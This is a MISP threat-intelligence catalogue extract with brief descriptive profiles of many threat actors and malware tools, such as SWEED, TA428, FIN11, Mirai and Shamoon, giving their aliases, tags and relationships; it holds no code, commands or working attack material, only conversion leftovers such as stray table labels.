In May 2018, we discovered a campaign targeting dozens of mobile Android devices belonging to Israeli citizens. Kaspersky spyware sensors caught the signal of an attack from the device of one of the victims; and a hash of the APK involved (Android application) was tagged in our sample feed for inspection. Once we looked into the file, we quickly found out that the inner-workings of the APK included a malicious payload, embedded in the original code of the application. This was an original spyware program, designed to exfiltrate almost all accessible information. During the course of our research, we noticed that we were not the only ones to have found the operation. Researchers from Bitdefender also released an analysis of one of the samples in a blogpost. Although something had already been published, we decided to do something different with the data we acquired. The following month, we released a private report on our Threat Intelligence Portal to alert our clients about this newly discovered operation and began writing YARA rules in order to catch more samples. We decided to call the operation “ViceLeaker”, because of strings and variables in its code.

SWEED

Cisco Talos recently identified a large number of ongoing malware distribution campaigns linked to
a threat actor we're calling "SWEED," including such notable malware as Formbook, Lokibot and Agent Tesla. Based on our research, SWEED — which has been operating since at least 2017 — primarily targets their victims with stealers and remote access trojans. SWEED remains consistent across most of their campaigns in their use of spear-phishing emails with malicious attachments. While these campaigns have featured a myriad of different types of malicious documents, the actor primarily tries to infect its victims with a packed version of Agent Tesla — an information stealer that's been around since at least 2014. The version of Agent Tesla that SWEED is using differs slightly from what we’ve seen in the past in the way that it is packed, as well as how it infects the system. In this post, we'll run down each campaign we're able to connect to SWEED, and talk about some of the actor's tactics, techniques and procedures (TTPs).

TA428

Proofpoint researchers have identified a targeted APT campaign that utilized malicious RTF documents to deliver custom malware to unsuspecting victims. We dubbed this campaign “Operation LagTime IT” based on entities that were targeted and the distinctive domains registered to C&C IP infrastructure. Beginning in early 2019, these threat actors targeted a number of government agencies in East Asia overseeing government information technology, domestic affairs, foreign affairs, economic development, and political processes. We determined that the infection vector observed in this campaign was spear phishing, with emails originating from both free email accounts and compromised user accounts. Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT. Additionally, this APT group utilizes Poison Ivy payloads that share overlapping command and control (C&C) infrastructure with the newly identified Cotx campaigns. Based on infrastructure overlaps, post-exploitation techniques, and historic TTPs utilized in this operation, Proofpoint analysts attribute this activity to the Chinese APT group tracked internally as TA428. Researchers believe that this activity has an operational and tactical resemblance to the Maudi Surveillance Operation which was previously reported in 2013.

**SectorJ04**

SectorJ04 is a Russian-based cybercrime group that began operating about five years ago and conducted hacking activities for financial profit using malware such as banking trojans and ransomware against national and industrial sectors located across Europe, North America and West Africa. In 2019, the SectorJ04 group expanded its hacking activities to cover various industrial sectors located across Southeast Asia and East Asia, and is changing the pattern of their attacks from targeted attacks to searching for random victims. This report includes details related to the major hacking targets of the SectorJ04 group in 2019, how those targets were hacked, characteristics of their hacking activities this year and recent cases of the SectorJ04 group's hacking.

The tag is: *misp-galaxy:threat-actor=*"SectorJ04"

**Tortoiseshell**

A previously undocumented attack group is using both custom and off-the-shelf malware to target IT providers in Saudi Arabia in what appear to be supply chain attacks with the end goal of compromising the IT providers' customers. The group, which we are calling Tortoiseshell, has been active since at least July 2018. Symantec has identified a total of 11 organizations hit by the group,
the majority of which are based in Saudi Arabia. In at least two organizations, evidence suggests that the attackers gained domain admin-level access.

The tag is: misp-galaxy:threat-actor="Tortoiseshell"

Tortoiseshell is also known as:

- IMPERIAL KITTEN

Table 5147. Table References

**TA410**

Early in August 2019, Proofpoint described what appeared to be state-sponsored activity targeting the US utilities sector with malware that we dubbed “Lookback”. Between August 21 and August 29, 2019, several spear phishing emails were identified targeting additional US companies in the utilities sector. The phishing emails originated from what appears to be an actor-controlled domain: globalenergycertification[.]net. This domain, like those used in previous campaigns, impersonated a licensing body related to the utilities sector. In this case, it masqueraded as the legitimate domain for Global Energy Certification (“GEC”). The emails include a GEC examination-themed body and a malicious Microsoft Word attachment that uses macros to install and run LookBack. (Note confusion between Malware, Campaign and ThreatActor)
Operation Soft Cell

In 2018, the Cybereason Nocturnus team identified an advanced, persistent attack targeting global telecommunications providers carried out by a threat actor using tools and techniques commonly associated with Chinese-affiliated threat actors, such as APT10. This multi-wave attacks focused on obtaining data of specific, high-value targets and resulted in a complete takeover of the network.

The tag is: misp-galaxy:threat-actor="Operation Soft Cell"

Operation Soft Cell has relationships with:

- similar: misp-galaxy:threat-actor="GALLIUM" with estimative-language:likelihood-probability="almost-certain"

Operation WizardOpium

We are calling these attacks Operation WizardOpium. So far, we have been unable to establish a definitive link with any known threat actors. There are certain very weak code similarities with Lazarus attacks, although these could very well be a false flag. The profile of the targeted website is more in line with earlier DarkHotel attacks that have recently deployed similar false flag attacks.

The tag is: misp-galaxy:threat-actor="Operation WizardOpium"

Calypso group

For the first time, the activity of the Calypso group was detected by specialists of PT Expert Security
Center in March 2019, during the work to detect cyber threats. As a result, many malware samples of this group were obtained, affected organizations and control servers of intruders were identified. According to our data, the group has been active since at least September 2016. The main goal of the group is to steal confidential data, the main victims are government agencies from Brazil, India, Kazakhstan, Russia, Thailand, Turkey. Our data suggest that the group has Asian roots. Description translated from Russian.

The tag is: `misp-galaxy:threat-actor="Calypso group"`

Calypso group is also known as:

- Calypso
- Calypso APT

**TA2101**

Proofpoint researchers detected campaigns from a relatively new actor, tracked internally as TA2101, targeting German companies and organizations to deliver and install backdoor malware. The actor initiated their campaigns impersonating the Bundeszentralamt fur Steuern, the German Federal Ministry of Finance, with lookalike domains, verbiage, and stolen branding in the emails. For their campaigns in Germany, the actor chose Cobalt Strike, a commercially licensed software tool that is generally used for penetration testing and emulates the type of backdoor framework used by Metasploit, a similar penetration testing tool. Proofpoint researchers have also observed this actor distributing Maze ransomware, employing similar social engineering techniques to those it uses for Cobalt Strike, while also targeting organizations in Italy and impersonating the Agenzia Delle Entrate, the Italian Revenue Agency. We have also recently observed the actor targeting organizations in the United States using the IcedID banking Trojan while impersonating the United States Postal Service (USPS).

**APT-C-34**

As reported by ZDNet, Chinese cyber-security vendor Qihoo 360 published a report on 2019-11-29 exposing an extensive hacking operation targeting the country of Kazakhstan. Targets included individuals and organizations involving all walks of life, such as government agencies, military personnel, foreign diplomats, researchers, journalists, private companies, the educational sector, religious figures, government dissidents, and foreign diplomats alike. The campaign, Qihoo 360
said, was broad, and appears to have been carried by a threat actor with considerable resources, and one who had the ability to develop their private hacking tools, buy expensive spyware off the surveillance market, and even invest in radio communications interception hardware.

The tag is: misp-galaxy:threat-actor="APT-C-34"

APT-C-34 is also known as:

- Golden Falcon

### Golden RAT

Since November 2014, the Golden Rat Organization (APT-C-27) has launched an organized, planned and targeted long-term uninterrupted attack on the Syrian region. The attack platform has gradually expanded from the beginning of the Windows platform to the Android platform.

The tag is: misp-galaxy:threat-actor="Golden RAT"

Golden RAT is also known as:

- APT-C-27

### luoxk

Luoxk is a malware campaign targeting web servers throughout Asia, Europe and North America.

The tag is: misp-galaxy:threat-actor="luoxk"

### BRONZE PRESIDENT

The activities of some non-governmental organizations (NGOs) challenge governments on politically sensitive issues such as social, humanitarian, and environmental policies. As a result,
these organizations are often exposed to increased government-directed threats aimed at monitoring their activities, discrediting their work, or stealing their intellectual property. BRONZE PRESIDENT is a likely People’s Republic of China (PRC)-based targeted cyberespionage group that uses both proprietary and publicly available tools to target NGO networks. Secureworks® Counter Threat Unit (CTU) researchers have observed BRONZE PRESIDENT activity since mid-2018 but identified artifacts suggesting that the threat actors may have been conducting network intrusions as far back as 2014.

The tag is: misp-galaxy:threat-actor="BRONZE PRESIDENT"

**Operation Wocao**

Operation Wocao (我操, “Wǒ cāo”, used as “shit” or “damn”) is the name that Fox-IT uses to describe the hacking activities of a Chinese based hacking group. This report details the profile of a publicly underreported threat actor that Fox-IT has dealt with over the past two years. Fox-IT assesses with high confidence that the actor is a Chinese group and that they are likely working to support the interests of the Chinese government and are tasked with obtaining information for espionage purposes. With medium confidence, Fox-IT assesses that the tools, techniques and procedures are those of the actor referred to as APT20 by industry partners. We have identified victims of this actor in more than 10 countries, in government entities, managed service providers and across a wide variety of industries, including Energy, Health Care and High-Tech.

The tag is: misp-galaxy:threat-actor="Operation Wocao"
Budminer

Based on the evidence we have presented Symantec attributed the activity involving the Dripion malware to the Budminer advanced threat group. While we have not seen new campaigns using Taidoor malware since 2014, we believe the Budminer group has changed tactics to avoid detection after being outed publicly in security white papers and blogs over the past few years.

The tag is: `misp-galaxy:threat-actor="Budminer"`

Budminer is also known as:

- Budminer cyberespionage group

Attor

Adversary group targeting diplomatic missions and governmental organisations.

The tag is: `misp-galaxy:threat-actor="Attor"`

DePriMon

DePriMon is an unusually advanced downloader whose developers have put extra effort into setting up the architecture and crafting the critical components.

The tag is: `misp-galaxy:threat-actor="DePriMon"`
APT-C-12

According to 360 TIC the actor has carried out continuous cyber espionage activities since 2011 on key units and departments of the Chinese government, military industry, scientific research, and finance. The organization focuses on information related to the nuclear industry and scientific research. The targets were mainly concentrated in mainland China. More than 670 malware samples have been collected from the group, including more than 60 malicious plugins specifically for lateral movement; more than 40 C2 domain names and IPs related to the organization have also been discovered.

The tag is: `misp-galaxy:threat-actor="APT-C-12"`

APT-C-12 is also known as:
- Sapphire Mushroom
- Blue Mushroom
- NuclearCrisis

ANTHROPOID SPIDER

Publicly known as 'EmpireMonkey', ANTHROPOID SPIDER conducted phishing campaigns in February and March 2019, spoofing French, Norwegian and Belizean financial regulators and institutions. These campaigns used macro-enabled Microsoft documents to deliver the PowerShell Empire post-exploitation framework. ANTHROPOID SPIDER likely enabled a breach that allegedly involved fraudulent transfers over the SWIFT network.
ANTHROPOID SPIDER is also known as:

- Empire Monkey
- CobaltGoblin

**CLOCKWORD SPIDER**

Opportunistic actor that installs custom root certificate on victim to support man-in-the-middle network monitoring.

**DOPPEL SPIDER**

In June 2019, CrowdStrike Intelligence observed a source code fork of BitPaymer and began tracking the new ransomware strain as DoppelPaymer. Further technical analysis revealed an increasing divergence between two versions of Dridex, with the new version dubbed DoppelDridex. Based on this evidence, CrowdStrike Intelligence assessed with high confidence that a new group split off from INDRIK SPIDER to form the adversary DOPPEL SPIDER. Following DOPPEL SPIDER's inception, CrowdStrike Intelligence observed multiple BGH incidents attributed to the group, with the largest known ransomware demand being 250 BTC. Other demands were not nearly as high, suggesting that the group conducts network reconnaissance to determine the value of the victim organization.
MONTY SPIDER

Spambots continued to decline in 2019, with MONTY SPIDER's CraP2P spambot falling silent in April.

The tag is: misp-galaxy:threat-actor="MONTY SPIDER"

VENOM SPIDER

VENOM SPIDER is the developer of a large toolset that includes SKID, VenomKit and Taurus Loader. Under the moniker 'badbullzvenom', the adversary has been an active member of Russian underground forums since at least 2012, specializing in the identification of vulnerabilities and the subsequent development of tools for exploitation, as well as for gaining and maintaining access to victim machines and carding services. Recent advertisements for the malware indicate that VENOM SPIDER limits the sale and use of its tools, selling modules only to trusted affiliates. This preference can be seen in the fact that adversaries observed using the tools include the targeted criminal adversary COBALT SPIDER and BGH adversaries WIZARD SPIDER and PINCHY SPIDER.

The tag is: `misp-galaxy:threat-actor="VENOM SPIDER"`

VENOM SPIDER is also known as:

- badbullzvenom

Operation Shadow Force

Operation Shadow Force is a group of malware that is representative of Shadow Force and Wgdrop from 2013 to 2020, and is a group activity that attacks Korean companies and organizations. The group's first confirmed attack was in March 2013, but considering the date of malware creation, it is likely to have been active before 2012. Since the malware used mainly by them is Shadow Force, it was named Operation Shadow Force, and it has not been confirmed whether the attacker is associated with a known group.

The tag is: `misp-galaxy:threat-actor="Operation Shadow Force"`

Table 5174. Table References

Links
NOTROBIN

Researchers at FireEye report finding a hacking group (dubbed NOTROBIN) that has been bundling mitigation code for NetScaler servers with its exploits. In effect, the hackers exploit the flaw to get access to the server, kill any existing malware, set up their own backdoor, then block off the vulnerable code from future exploit attempts by mitigation.

The tag is: misp-galaxy:threat-actor="NOTROBIN"

ItaDuke

ItaDuke is an actor known since 2013. It used PDF exploits for dropping malware and Twitter accounts to store C2 server urls. On 2018, an actor named DarkUniverse, which was active between 2009 to 2017, was attributed to this ItaDuke by Kaspersky.

The tag is: misp-galaxy:threat-actor="ItaDuke"

ItaDuke is also known as:

- DarkUniverse
- SIG27

Nazar

This actor was identified by Juan Andres Guerrero-Saade from the SIG37 cluster as published in the ShadowBrokers' 'Lost in Translation' leak. Earliest known sighting potentially dates back to as far as 2008 with a confirmed center of activity around 2010-2013. The actor name is derived from a PDB debug string fragment: 'khzer'. Victimology indicates targeting of Iran, assessed with low confidence based on VT file submission locations. Nazar employs a modular toolkit where a main
dropper silently registers multiple DLLs as OLE controls in the Windows registry. Functionality includes keylogging, sound and screen grabbing, as well as traffic capture using the MicroOlap Packet Sniffer library.

The tag is: *misp-galaxy:threat-actor="Nazar"

Nazar is also known as:

• SIG37

**Higaisa**

The organization often uses important North Korean time nodes such as holidays and North Korea to conduct fishing activities. The bait includes New Year blessings, Lantern blessings, North Korean celebrations, and important news, overseas personnel contact lists and so on. In addition, the attack organization also has the attack capability of the mobile terminal. The targets of the attack also include diplomatic entities related to North Korea (such as embassy officials in various places), government officials, human rights organizations, North Korean residents abroad, and traders. The victim countries currently monitored include China, North Korea, Japan, Nepal, Singapore, Russia, Poland, Switzerland, etc.

</table>

**COBALT JUNO**

COBALT JUNO has operated since at least 2013 and focused on targets located in the Middle East including Iran, Jordan, Egypt & Lebanon. COBALT JUNO custom spyware families SABER1 and SABER2, include surveillance functionality and masquerade as legitimate software utilities such as Adobe Updater, StickyNote and ASKDownloader. CTU researchers assess with moderate confidence that COBALT JUNO operated the ZooPark Android spyware since at least mid-2015. ZooPark was publicly exposed in 2018 in both vendor reporting and a high profile leak of C2 server data. COBALT JUNO is linked to a private security company in Iran and outsources aspects of tool development work to commercial software developers. CTU researchers have observed the group using strategic web compromises to deliver malware. CTU researchers’ discovery of new C2 domains in 2019 suggest the group is still actively performing operations.

The tag is: *misp-galaxy:threat-actor="COBALT JUNO"*
COBALT JUNO is also known as:

- APT-C-38 (QiAnXin)
- SABER LION
- TG-2884 (SCWX CTU)

**COBALT KATANA**

COBALT KATANA has been active since at least March 2018, and it focuses many of its operations on organizations based in or associated with Kuwait. The group has targeted government, logistics, and shipping organizations. The threat actors gain initial access to targets using DNS hijacking, strategic web compromise with SMB forced authentication, and password brute force attacks. COBALT KATANA operates a custom platform referred to as the Sakabota Framework, also referred to as Sakabota Core, with a complimentary set of modular backdoors and accessory tools including Gon, Hisoka, Hisoka Netero, Killua, Diezen, and Eye. The group has implemented DNS tunnelling in its malware and malicious scripts and also operates the HyphenShell web shell to strengthen post-intrusion access. CTU researchers assess with moderate confidence that COBALT KATANA operates on behalf of Iran, and elements of its operations such as overlapping infrastructure, use of DNS hijacking, implementation of DNS-based C2 channels in malware and web shell security mechanisms suggest connections to COBALT GYPSY and COBALT EDGEWATER.

The tag is: **misp-galaxy:threat-actor="COBALT KATANA"**

COBALT KATANA is also known as:

- Hive0081 (IBM)
- SectorD01 (NHSC)
- xHunt campaign (Palo Alto)

**Dark Basin**

Dark Basin is a hack-for-hire group that has targeted thousands of individuals and hundreds of institutions on six continents. Targets include advocacy groups and journalists, elected and senior government officials, hedge funds, and multiple industries. Dark Basin extensively targeted American nonprofits, including organisations working on a campaign called #ExxonKnew, which asserted that ExxonMobil hid information about climate change for decades. We also identify Dark Basin as the group behind the phishing of organizations working on net neutrality advocacy,
previously reported by the Electronic Frontier Foundation. We link Dark Basin with high confidence to an Indian company, BellTroX InfoTech Services, and related entities.

**TA413**

Proofpoint researchers observed a phishing campaign impersonating the World Health Organization's (WHO) guidance on COVID-19 critical preparedness to deliver a new malware family that researchers have dubbed Sepulcher. This campaign targeted European diplomatic and legislative bodies, non-profit policy research organizations, and global organizations dealing with economic affairs. Additionally, a sender email identified in this campaign has been linked to historic Chinese APT targeting of the international Tibetan community using payloads linked to LuckyCat malware. Subsequently, a phishing campaign from July 2020 targeting Tibetan dissidents was identified delivering the same strain of Sepulcher malware. Operator email accounts identified in this campaign have been publicly linked to historic Chinese APT campaigns targeting the Tibetan community delivering ExileRAT malware. Based on the use of publicly known sender addresses associated with Tibetan dissident targeting and the delivery of Sepulcher malware payloads, Proofpoint researchers have attributed both campaigns to the APT actor TA413, which has previously been documented in association with ExileRAT. The usage of publicly known Tibetan-themed sender accounts to deliver Sepulcher malware demonstrates a short-term realignment of TA413's targets of interest. While best known for their campaigns against the Tibetan diaspora, this
APT group associated with the Chinese state interest prioritized intelligence collection around Western economies reeling from COVID-19 in March 2020 before resuming more conventional targeting later this year.

The tag is: *misp-galaxy:threat-actor=*"TA413"

**Evilnum**

ESET has analyzed the operations of Evilnum, the APT group behind the Evilnum malware previously seen in attacks against financial technology companies. While said malware has been seen in the wild since at least 2018 and documented previously, little has been published about the group behind it and how it operates. The group's targets remain fintech companies, but its toolset and infrastructure have evolved and now consist of a mix of custom, homemade malware combined with tools purchased from Golden Chickens, a Malware-as-a-Service (MaaS) provider whose infamous customers include FIN6 and Cobalt Group.

The tag is: *misp-galaxy:threat-actor=*"Evilnum"

Evilnum is also known as:

- DeathStalker

**Fox Kitten**

PIONEER KITTEN is an Iran-based adversary that has been active since at least 2017 and has a suspected nexus to the Iranian government. This adversary appears to be primarily focused on gaining and maintaining access to entities possessing sensitive information of likely intelligence interest to the Iranian government. According to DRAGOS, they also targeted ICS-related entities using known VPN vulnerabilities. They are widely known to use open source penetration testing tools for reconnaissance and to establish encrypted communications.

The tag is: *misp-galaxy:threat-actor=*"Fox Kitten"

Fox Kitten is also known as:

- PIONEER KITTEN
- PARISITE
XDSpy

Rare is the APT group that goes largely undetected for nine years, but XDSpy is just that; a previously undocumented espionage group that has been active since 2011. It has attracted very little public attention, with the exception of an advisory from the Belarusian CERT in February 2020. In the interim, the group has compromised many government agencies and private companies in Eastern Europe and the Balkans.

The tag is: misp-galaxy:threat-actor="XDSpy"

Evil Corp

Evil Corp is an international cybercrime network. In December of 2019 the US Federal Government offered a $5M bounty for information leading to the arrest and conviction of Maksim V. Yakubets for allegedly orchestrating Evil Corp operations. Responsible for stealing over $100M from businesses and consumers. The Evil Corp organization is known for utilizing custom strains of malware such as JabberZeus, Bugat and Dridex to steal banking credentials.

The tag is: misp-galaxy:threat-actor="Evil Corp"
TRACER KITTEN

In April 2020, Crowstrike Falcon OverWatch discovered Iran-based adversary TRACER KITTEN conducting malicious interactive activity against multiple hosts at a telecommunications company in the Europe, Middle East and Africa (EMEA) region. The actor was found operating under valid user accounts, using custom backdoors in combination with SSH tunnels for C2. The adversary leveraged their foothold to conduct a variety of reconnaissance activities, undertake credential harvesting and prepare for data exfiltration.

The tag is: misp-galaxy:threat-actor="TRACER KITTEN"

Table 5188. Table References

Links

FIN11

FIN11 is a well-established financial crime group that has recently focused its operations on ransomware and extortion. The group has been active since 2017 and has been tracked under UNC902 and later on as TEMP.Warlok. In some ways, FIN11 is reminiscent of APT1; they are notable not for their sophistication, but for their sheer volume of activity.(FireEye) Mandiant has also responded to numerous FIN11 intrusions, but we've only observed the group successfully monetize access in few instances. This could suggest that the actors cast a wide net during their phishing operations, then choose which victims to further exploit based on characteristics such as sector, geolocation or perceived security posture. Recently, FIN11 has deployed CLOP ransomware and threatened to publish exfiltrated data to pressure victims into paying ransom demands. The group's shifting monetization methods—from point-of-sale (POS) malware in 2018, to ransomware in 2019, and hybrid extortion in 2020—is part of a larger trend in which criminal actors have increasingly focused on post-compromise ransomware deployment and data theft extortion. Notably, FIN11 includes a subset of the activity security researchers call TA505, Graceful Spider, Gold Evergreen, but we do not attribute TA505's early operations to FIN11 and caution against using the names interchangeably. Attribution of both historic TA505 activity and more recent FIN11 activity is complicated by the actors' use of criminal service providers. Like most financially motivated actors, FIN11 doesn't operate in a vacuum. We believe that the group has used services that provide anonymous domain registration, bulletproof hosting, code signing certificates, and private or semi-private malware. Outsourcing work to these criminal service providers likely enables FIN11 to increase the scale and sophistication of their operations.

The tag is: misp-galaxy:threat-actor="FIN11"

FIN11 is also known as:
TEMP.Warlock

UNC1878

UNC1878 is a financially motivated threat actor that monetizes network access via the deployment of RYUK ransomware. Earlier this year, Mandiant published a blog on a fast-moving adversary deploying RYUK ransomware, UNC1878. Shortly after its release, there was a significant decrease in observed UNC1878 intrusions and RYUK activity overall almost completely vanishing over the summer. But beginning in early fall, Mandiant has seen a resurgence of RYUK along with TTP overlaps indicating that UNC1878 has returned from the grave and resumed their operations.

Operation Skeleton Key

Throughout 2019, multiple companies in the Taiwan high-tech ecosystem were victims of an advanced persistent threat (APT) attack. Due to these APT attacks having similar behavior profiles (similar adversarial techniques, tactics, and procedures or TTP) with each other and previously documented cyberattacks, CyCraft assess with high confidence these new attacks were conducted by the same foreign threat actor. During their investigation, they dubbed this threat actor Chimera. “Chimera” stands for the synthesis of hacker tools that they’ve seen the group use, such as the skeleton key malware that contained code extracted from both Dumpert and Mimikatz — hence Chimera. Their operation — the entirety of the new attacks utilizing the Skeleton Key attack (described below) from late 2018 to late 2019, CyCraft have dubbed Operation Skeleton Key.

The tag is: `misp-galaxy:threat-actor="Operation Skeleton Key"`

Regin

Regin (also known as Prax or WarriorPride) is a sophisticated malware toolkit revealed by Kaspersky Lab, Symantec, and The Intercept in November 2014. The malware targets specific users of Microsoft Windows-based computers and has been linked to the US intelligence gathering agency.
NSA and its British counterpart, the GCHQ. The Intercept provided samples of Regin for download including malware discovered at Belgian telecommunications provider, Belgacom. Kaspersky Lab says it first became aware of Regin in spring 2012, but that some of the earliest samples date from 2003. The name Regin is first found on the VirusTotal website on 9 March 2011.

The tag is: misp-galaxy:tool="Regin"

**Htran**

HUC Packet Transmitter (HTran) is a proxy tool, used to intercept and redirect Transmission Control Protocol (TCP) connections from the local host to a remote host. This makes it possible to obfuscate an attacker's communications with victim networks. The tool has been freely available on the internet since at least 2009. HTran facilitates TCP connections between the victim and a hop point controlled by an attacker. Malicious cyber actors can use this technique to redirect their packets through multiple compromised hosts running HTran, to gain greater access to hosts in a network.
The tag is: **misp-galaxy:tool**="Htran"

**X-Agent**

APT28’s second-stage persistent macOS backdoor. This backdoor component is known to have a modular structure featuring various espionage functionalities, such as key-logging, screen grabbing and file exfiltration. This component is available for Osx, Windows, Linux and iOS operating systems.

Xagent is a modular backdoor with spying functionalities such as keystroke logging and file exfiltration. Xagent is the group’s flagship backdoor and heavily used in their operations. Early versions for Linux and Windows were seen years ago, then in 2015 an iOS version came out. One year later, an Android version was discovered and finally, in the beginning of 2017, an Xagent sample for OS X was described.

---

**Umbreon**

Umbreon (sharing the same name as the Pokémon) targets Linux systems, including systems running both Intel and ARM processors, expanding the scope of this threat to include embedded devices as well.

The tag is: `misp-galaxy:tool="Umbreon"`

Umbreon has relationships with:

- similar: `misp-galaxy:mitre-malware="Umbreon - S0221"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Umbreon"` with `estimative-language:likelihood-probability="likely"`

---

**Odinaff**

Odinaff is typically deployed in the first stage of an attack, to gain a foothold onto the network, providing a persistent presence and the ability to install additional tools onto the target network. These additional tools bear the hallmarks of a sophisticated attacker which has plagued the financial industry since at least 2013–Carbanak. This new wave of attacks has also used some infrastructure that has previously been used in Carbanak campaigns.

The tag is: `misp-galaxy:tool="Odinaff"`

Odinaff has relationships with:

- similar: `misp-galaxy:malpedia="Odinaff"` with `estimative-language:likelihood-probability="likely"`
**Hworm**

Unit 42 has observed a new version of Hworm (or Houdini) being used within multiple attacks. This blog outlines technical details of this new Hworm version and documents an attack campaign making use of the backdoor. Of the samples used in this attack, the first we observed were June 2016, while as-of publication we were still seeing attacks as recently as mid-October, suggesting that this is likely an active, ongoing campaign.

The tag is: `misp-galaxy:tool="Hworm"`

Hworm is also known as:

- Houdini

Hworm has relationships with:

- similar: `misp-galaxy:malpedia="Hworm"` with `estimative-language:likelihood-probability="likely"`

**Backdoor.Dripion**

Backdoor.Dripion was custom developed, deployed in a highly targeted fashion, and used command and control servers disguised as antivirus company websites.

The tag is: `misp-galaxy:tool="Backdoor.Dripion"`

Backdoor.Dripion is also known as:

- Dripion

**Adwind**

Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. A significant
amount of additional functionality can be provided through downloadable plugins, including such things as remote control options and shell command execution.

The tag is: `misp-galaxy:tool="Adwind"`

Adwind is also known as:

- AlienSpy
- Frutas
- Unrecom
- Sockrat
- jSocket
- jRat
- Backdoor:Java/Adwind

Adwind has relationships with:

**Upatre**

Upatre is a Trojan downloader that is used to set up other threats on the victim’s PC. Upatre has been used recently in several high profile Trojan attacks involving the Gameover Trojan.

The tag is: `misp-galaxy:tool="Upatre"`

Upatre has relationships with:

- similar: `misp-galaxy:malpela="Upatre"` with `estimative-language:likelihood-probability="likely"`

**Vawtrak**

Vawtrak is an information stealing malware family that is primarily used to gain unauthorised access to bank accounts through online banking websites.

The tag is: `misp-galaxy:tool="Vawtrak"`

Vawtrak has relationships with:

- similar: `misp-galaxy:banker="Vawtrak"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Vawtrak"` with `estimative-language:likelihood-probability="likely"`

**Empire**

Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework.

The tag is: `misp-galaxy:tool="Empire"`

Empire has relationships with:

- similar: `misp-galaxy:exploit-kit="Empire"` with `estimative-language:likelihood-probability="likely"`
Explosive

Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive.

The tag is: misp-galaxy:tool="Explosive"

KeyBoy

The actors used a new version of “KeyBoy,” a custom backdoor first disclosed by researchers at Rapid7 in June 2013. Their work outlined the capabilities of the backdoor, and exposed the protocols and algorithms used to hide the network communication and configuration data.

The tag is: misp-galaxy:tool="KeyBoy"

KeyBoy has relationships with:

**Tartine**

Delphi RAT used by Sofacy.

The tag is: `misp-galaxy:tool="Tartine"`

**Mirai**

Mirai (Japanese for "the future") is malware that turns computer systems running Linux into remotely controlled "bots", that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as remote cameras and home routers. The Mirai botnet has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs’s web site, an attack on French web host OVH and the October 2016 Dyn cyberattack.

The tag is: `misp-galaxy:tool="Mirai"`

Mirai is also known as:

- Linux/Mirai

Mirai has relationships with:

Masuta

IoT malware based on Mirai but slightly improved.

The tag is: misp-galaxy:tool="Masuta"

Masuta is also known as:

• PureMasuta

BASHLITE

The tag is: misp-galaxy:tool="BASHLITE"

BlackEnergy

BlackEnergy is a trojan which has undergone significant functional changes since it was first publicly analysed by Arbor Networks in 2007. It has evolved from a relatively simple DDoS trojan into a relatively sophisticated piece of modern malware with a modular architecture, making it a suitable tool for sending spam and for online bank fraud, as well as for targeted attacks. BlackEnergy version 2, which featured rootkit techniques, was documented by SecureWorks in 2010. The targeted attacks recently discovered are proof that the trojan is still alive and kicking in 2014. We provide a technical analysis of the BlackEnergy family, focusing on novel functionality and the differences introduced by new lite variants. We describe the most notable aspects of the malware, including its techniques for bypassing UAC, defeating the signed driver requirement in Windows and a selection of BlackEnergy2 plug-ins used for parasitic file infections, network discovery and remote code execution and data collection.

The tag is: misp-galaxy:tool="BlackEnergy"

BlackEnergy has relationships with:

• similar: misp-galaxy:mitre-malware="BlackEnergy - S0089" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:malpedia="BlackEnergy" with estimative-language:likelihood-probability="likely"
**Trojan.Seaduke**

Trojan.Seaduke is a Trojan horse that opens a back door on the compromised computer. It may also download potentially malicious files.

The tag is: `misp-galaxy:tool="Trojan.Seaduke"`

Trojan.Seaduke is also known as:

- Seaduke

**Shifu**

Shifu is a Banking Trojan first discovered in 2015. Shifu is based on the Shiz source code which incorporated techniques used by Zeus. Attackers use Shifu to steal credentials for online banking websites around the world, starting in Russia but later including the UK, Italy, and others.

The tag is: `misp-galaxy:tool="Shifu"`

Shifu has relationships with:

- similar: `misp-galaxy:malpedia="Shifu"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:tool="Shiz"` with estimative-language:likelihood-probability="likely"
**Shiz**

The new variant of the Shiz Trojan malware targets mission-critical enterprise resource planning (ERP) applications — particularly SAP users.

The tag is: `misp-galaxy:tool="Shiz"`

Shiz has relationships with:

- similar: `misp-galaxy:tool="Shifu"` with `estimative-language:likelihood-probability="likely"`

---

**MM Core**

Also known as “BaneChant”, MM Core is a file-less APT which is executed in memory by a downloader component. It was first reported in 2013 under the version number “2.0-LNK” where it used the tag “BaneChant” in its command-and-control (C2) network request. A second version “2.1-LNK” with the network tag “StrangeLove” was discovered shortly after.

The tag is: `misp-galaxy:tool="MM Core"`

MM Core is also known as:

- MM Core backdoor
- BigBoss
- SillyGoose
- BaneChant
- StrangeLove

MM Core has relationships with:

- similar: `misp-galaxy:malpedia="MM Core"` with `estimative-language:likelihood-probability="likely"`

---
Shamoon

Shamoon,[a] also known as Disttrack, is a modular computer virus discovered by Seculert[1] in 2012, targeting recent NT kernel-based versions of Microsoft Windows. The virus has been used for cyber espionage in the energy sector.[2][3][4] Its discovery was announced on 16 August 2012 by Symantec,[3] Kaspersky Lab,[5] and Seculert.[6] Similarities have been highlighted by Kaspersky Lab and Seculert between Shamoon and the Flame malware.[5][6]

The tag is: misp-galaxy:tool="Shamoon"

Shamoon is also known as:

• DistTrack

Shamoon has relationships with:

• similar: misp-galaxy:mitre-malware="Shamoon - S0140" with estimative-language:likelihood-probability="likely"

EyePyramid Malware

